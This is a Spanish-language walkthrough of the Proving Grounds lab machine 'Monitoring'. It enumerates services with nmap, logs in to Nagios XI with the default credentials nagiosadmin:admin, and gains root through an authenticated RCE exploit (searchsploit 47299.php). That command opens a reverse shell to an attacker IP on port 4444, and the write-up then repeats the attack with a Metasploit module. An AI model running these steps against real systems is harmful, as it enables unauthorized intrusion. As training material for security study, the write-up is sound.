> For the complete documentation index, see [llms.txt](https://wiki.securiters.com/securiters-wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wiki.securiters.com/securiters-wiki/write-ups/proving-grounds/monitoring.md).

# Monitoring

Write-up de la máquina Monitoring de Proving Grounds #writeup #walkthrough

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FzaXntB3qS2znjLwOiBPB%2Fimage.png?alt=media&amp;token=1ec06de9-efe6-406b-b4e8-f27a9b0546a8" alt=""><figcaption></figcaption></figure>

### Enumeración

#### NMAP

Comenzamos como siempre enumerando de forma rápida los servicios que tiene abiertos el objetivo.

```
nmap -p- -vvv --open --min-rate 2000 -Pn -n 192.168.76.136
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FHuAuD2LO2djpai1nJ95Y%2Fimage.png?alt=media&amp;token=8c94552c-711a-421b-8cc1-b4552fc3e433" alt=""><figcaption></figcaption></figure>

Están abiertos los puertos 22, 25, 80, 389, 443 y 5667. El siguiente paso será el escaneo profundo de estos servicios abiertos.&#x20;

```
 -nmap -p22,25,80,389,443,5667 -Pn -n -sVC 192.168.76.136
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F2zfNVw8nmIysdOjOCw5W%2Fimage.png?alt=media&amp;token=9ed7c023-80aa-4e94-83c1-785209874c09" alt=""><figcaption></figcaption></figure>

Existen 6 puertos abiertos en el equipo target.&#x20;

* Puerto 22 -> SSH -> OpenSSH 7.2
* Puerto 25 ->  SMTP -> Postfix
* Puerto 80 -> HTTP -> Apache httpd 2.4.18
* Puerto 389 -> LDAP -> OpenLDAP 2.2.X - 2.3.X
* Puerto 443 -> HTTPS -> Apache httpd 2.4.18
* Puerto 5667 -> ?

Además de una versión que puede ser interesante más adelante, Nagios XI.

#### Enumeración Web

Tenemos abiertos los puertos 80 y 443, así que comenzamos viendo el contenido.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FZ2YcATdIO8fSSD6t9E6x%2Fimage.png?alt=media&amp;token=4316ab58-356e-49a2-811c-d77a54bbe57c" alt=""><figcaption><p>Puerto 80</p></figcaption></figure>

Se está ejecutando un servicio Nagios XI en el puerto 80. Revisando el código fuente no encontramos nada interesante. Pulsamos en "Acess Nagios XI" y se nos redirige a un inicio de sesión.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FcPmDmIe5FWgfqeaWleFH%2Fimage.png?alt=media&amp;token=ab083313-4471-4004-86ad-ceca10c46e0c" alt=""><figcaption></figcaption></figure>

Probaremos algunas credenciales por defecto comunes admin:admin, admin:password... pero no obtenemos acceso. Vamos a buscar en Google las credenciales de inicio de sesión por defecto para Nagios y encontramos que el username por defecto es "nagiosadmin" y vamos a probar "admin" como contraseña. Tenemos credenciales para iniciar sesión en Nagios XI, **"nagiosadmin:admin"**.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FMW1XmZzKTUbxu3o9n6EW%2Fimage.png?alt=media&amp;token=1022c4f3-e7d5-4694-a8b1-99560166841f" alt=""><figcaption></figcaption></figure>

Vamos a enumerar los directorios disponibles, para lo cual utilizaremos dirsearch.&#x20;

```
dirsearch -u "http://192.168.76.136" -i200,301 
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FIpQ6Hy5jR8KGUFs0rCd6%2Fimage.png?alt=media&amp;token=c3b631dc-f0b7-48e6-ae65-66502be02c62" alt=""><figcaption></figcaption></figure>

No hay anda interesante.&#x20;

Vamos a buscar vulnerabilidades para Nagios XI. Utilizaremos searchsploit.&#x20;

Sabemos que la versión de Nagios es la 5.6.0

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FNXedcCPKixJBkCeyhnmi%2Fimage.png?alt=media&amp;token=8f89f3b5-7c73-44b0-ac12-a701f3d3836e" alt=""><figcaption></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F6DCzNYWV3OYGEWgYaAAI%2Fimage.png?alt=media&amp;token=29428949-8083-4622-8018-c76cd4985d30" alt=""><figcaption></figcaption></figure>

### Explotación

#### Explotación manual

Descargamos el exploit para ver si se adapta a nuestras necesidades.

```
searchsploit -m 47299.php
```

Vemos como debemos ejecutarlo.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FxsdvaF52q0bsiqyAdki0%2Fimage.png?alt=media&amp;token=3a3988cd-fd1d-47c2-a865-eb1708e6c213" alt=""><figcaption></figcaption></figure>

Nota: Debemos instalar "php dom"

```
sudo apt-get install php-dom
```

Una vez instalado "php dom" ejecutamos el exploit como se indicaba anteriormente y por otro lado, colocaremos un oyente nc en el puerto 4444.

```
php 47299.php --host=192.168.76.136 --ssl=false --user=nagiosadmin --pass=admin --reverseip=192.168.49.76 --reverseport=4444
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F5KBouoNVaHvcFgEYQb91%2Fimage.png?alt=media&amp;token=d4e128a5-3fa0-43ec-9b5f-f54d5a53c92f" alt=""><figcaption><p>Shell</p></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FX7K9oS7CIrM334Wos0UJ%2Fimage.png?alt=media&amp;token=204c3deb-033a-4d14-bce1-5935fc2b01e2" alt=""><figcaption></figcaption></figure>

Ya tenemos conexión con la máquina objetivo, además de privilegios máximos. Vamos a buscar en este caso la única flag existente, proof.txt.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FjxUVyDpNYSpiMtGYNRfs%2Fimage.png?alt=media&amp;token=0b785267-ed8a-4d5c-9d39-7b5192ca881c" alt=""><figcaption><p>Flag proof.txt</p></figcaption></figure>

Ya tendríamos la máquina acabada.

#### Explotación vía Metasploit

Una vez hemos realizado la exploit vía "manual", vamos a realizar la vulneración utilizando Metasploit. Vamos a ello.&#x20;

```
use exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce
```

Configuramos el exploit.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FdiKLUq5RYTtModugtoQr%2Fimage.png?alt=media&amp;token=6124e5e6-39be-4156-a748-6c9d767034f5" alt=""><figcaption></figcaption></figure>

Y ejecutamos.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FUYxq9RvhYJJUHxtAVsxY%2Fimage.png?alt=media&amp;token=3961e554-861e-4e2d-bac3-f4abb3eff89a" alt=""><figcaption></figcaption></figure>

Y ya volveriamos a tener conexión con la máquina objetivo. Solo quedaría volver a buscar la flag proof.txt.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fc1KRU67YjQiSoq8Oa3Q2%2Fimage.png?alt=media&amp;token=20a8c3ae-2b7f-4a5a-b24e-87b60723b685" alt=""><figcaption></figcaption></figure>

Y tendríamos acabada la máquina, esta vez de manera automatiza utilizando un exploit de la herramienta Metasploit.&#x20;

{% embed url="<https://www.youtube.com/watch?v=YAP0VgnvEvo>" %}
